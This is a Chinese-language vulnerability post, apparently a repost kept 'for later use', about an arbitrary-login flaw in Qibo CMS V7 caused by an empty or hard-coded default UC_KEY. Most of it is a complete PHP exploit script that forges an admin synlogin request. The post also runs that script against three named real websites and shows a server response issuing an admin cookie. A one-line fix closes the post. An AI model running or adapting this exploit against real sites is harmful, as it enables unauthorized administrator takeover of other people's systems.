齐博cms任意登陆漏洞

收集下，以后估计有用得到的时候
齐博cms整站系统（原PHP168）配置不当导致任意用户登陆，比如cms管理员等。
详细说明：

还是由于UC_CENTER的问题，之前闹过UC_KEY变量为空时可以调用UC_CENTER中的相关用户API直接进行操作，今天下了一份V7版本的源码，在uc_config.php中发现UC_KEY被初始化了

define('UC_DBCONNECT', '0');
define('UC_KEY', 'fdsafd43'); //这里做了初始化
define('UC_API', 'http://v7.com/dz/uc_server');

Google了一把，发现很多站都可以用空的UC_KEY或默认的UC_KEY成功调用UC接口。
漏洞证明：
从官方成功案例中找到一个网站

$ php uc.php haidian.10000tc.com synlogin
[+] UC_KEY 'null' can use .
[*] EXP = do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr
$ php uc.php 0755456.com synlogin
[+] UC_KEY 'default' can use .
[*] EXP = do/api/uc.php?code=c788q%2Byp%2F4oC5rvSuzpCpuLHRIYu9VIR%2Bzl8pJ60hOX8xYAxKoBajYXvRFG72oAadPVjFlAy8n6565gMUXPZNeKBXSQP0SDBJ9JPvq4XkLf4
$ php uc.php www.zjxiaoyifeng.com synlogin
[+] UC_KEY 'default' can use .
[*] EXP = do/api/uc.php?code=7755%2FC0y9ZruP9op7MtO5lPx92MRfmUImcEf3ZmVIvDDjl8zpfKI%2FTEU6PwkKbW8QioWTD7nai2FaauVyAVTwICk6mrQwLvS6dsNawJyoPX5
 1
看看是否set cookie
 $ curl -I "http://haidian.10000tc.com/do/api/uc.php?code=fca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr"
HTTP/1.0 200 OK
Date: Wed, 15 Aug 2012 06:23:32 GMT
Content-Type: text/html; charset=gb2312
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.8
Set-Cookie: USR=lju34nhv%090%091345011812%09http%3A%2F%2Fhaidian.10000tc.com%2Fdo%2Fapi%2Fuc.php%3Fcode%3Dfca08oORxQ3xNG01MA1KO9cEPCcedNTThklj6RW2mzYoO9ReaVA4D6XZPJ06GSY0xrpCwNQD6YfusbP1nPJG0HsSB95BkMT6FcarqAVEamHr; expires=Thu, 16-Aug-2012 06:23:32 GMT; path=/; domain=10000tc.com
Set-Cookie: choose_cityID=1; expires=Fri, 14-Sep-2012 06:23:32 GMT; path=/; domain=10000tc.com
Set-Cookie: zone_id=1; expires=Fri, 14-Sep-2012 06:23:32 GMT; path=/; domain=10000tc.com
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: passport=1%09admin%09AFVdAg1SUwZVD1QDAFVdBwdXA1VRVAYAUAxXAFdUUlc%3D289d3139c3; expires=Thu, 16-Aug-2012 06:23:32 GMT; path=/; domain=10000tc.com
X-Cache: MISS from WT263CDN-21172
X-Cache-Lookup: MISS from WT263CDN-21172:80
Via: 1.0 WT263CDN-21172 (squid/3.0.STABLE20)
Connection: close
set了，在登陆网站试试
  
  
 
exp:
 1
<?php
error_reporting(0);
$host = $argv[1];
$doing = $argv[2];
if (empty($doing)) {
$doing = 'test';
$code = 'time=1577811661&action='.$doing;
} else {
$code = 'time=1577811661&uid=1&username=admin&action='.$doing;
}
$uc_key = array('null' => '', 'default' => 'fdsafd43');
foreach ($uc_key as $key => $value) {
$exp = 'do/api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
$result = file_get_contents("http://$host/$exp");
if( $result == 1 || $result !== 'Authracation has expiried'){
echo "[+] UC_KEY '$key' can use .\r\n";
echo "[*] EXP = $exp \r\n";
}
}
 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}

修复方案：
安装的时候随即字符串重写。